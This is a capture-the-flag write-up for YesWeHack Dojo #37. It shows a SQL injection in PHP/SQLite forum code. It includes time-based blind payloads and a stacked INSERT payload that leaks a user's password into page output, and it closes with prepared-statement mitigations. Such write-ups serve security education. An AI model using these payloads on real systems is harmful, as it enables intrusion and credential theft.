📜 Description

SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application’s content or behavior.

🕵️ Proof of Concept

In Dojo #37 - Hacker Forum, it is possible to perform an SQL Injection through the following vulnerable part of the code:

1
2
3
4

$db->exec(
       sprintf("UPDATE users SET banned = 1 WHERE username = '%s'", $comment['author'])
 );

As observed, this query does not use prepared statements, making it vulnerable to SQL Injection via the author parameter.

Initially, I focused on basic injection techniques and discovered a proof-of-concept using a conditional blind, time-based payload like this:

brumens' AND (SELECT CASE WHEN (1=2) THEN (1337=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))) ELSE 1 END)--

Using this approach, I was able to retrieve the length of the password with the following payload :

brumens' AND (SELECT CASE WHEN (username='brumens' AND LENGTH(password)>29) THEN (1337=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))) ELSE 1 END FROM users)--

However, I realized brute-forcing was not allowed in the DOJO challenge, so I needed to find an alternative approach.

Through local testing, I discovered that it was possible to INSERT data using an injection like this :

brumens'; INSERT INTO comments (post_id, author, comment, image) VALUES (1, 'asta',(SELECT password From users where username='brumens'), 'https://cdn-yeswehack.com/user/avatar/eea04f80-f1d8-4ccb-84a0-e5d045d73607')--

This led me to understand that the following condition in the code is particularly interesting :

while ($comment = $comments->fetchArray(SQLITE3_ASSOC))

The fetchArray() function is dynamic, allowing us to manipulate the $comments variable if we inject data during the query execution.

Here’s the full code :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

while ($comment = $comments->fetchArray(SQLITE3_ASSOC)) {
        if ( preg_match("/(bad|terrible|worst|skid)/", $comment['comment']) ) {
            $db->exec(
                sprintf("UPDATE users SET banned = 1 WHERE username = '%s'", $comment['author'])
            );
            $post->addComment($comment["image"], $comment["author"], "*****", true);
        } else {
            $post->addComment($comment["image"], $comment["author"], $comment["comment"]);
        }
    }

By using our payload, a new comment is INSERTED into the comments table, and the addComment() function can be leveraged to display the secret in the HTML source code.

And here is the flag :

🚧 Impacts

An SQL injection can have severe impacts on your application by allowing an attacker to :

• Recover all or part of your database (including sensitive data like usernames and passwords hash).
• Modify or insert data in the database.
• Saturate database workers with resource-intensive math functions.
• Read or write files on the disk.
• Execute OS commands.
• …

🔐 Mitigations

SQL injection can be prevented by using parameterized queries (also known as prepared statements) instead of string concatenation within the query.

The following code is vulnerable to SQL injection because the user input is concatenated directly into the query :

1
2
3

String query = "SELECT * FROM products WHERE category = '"+ input + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);

This code can be easily rewritten in a way that prevents the user input from interfering with the query structure:

1
2
3

PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();

Parameterized queries can be used for any situation where untrusted input appears as data within the query.

📚 References

• PortSwigger - SQL Injection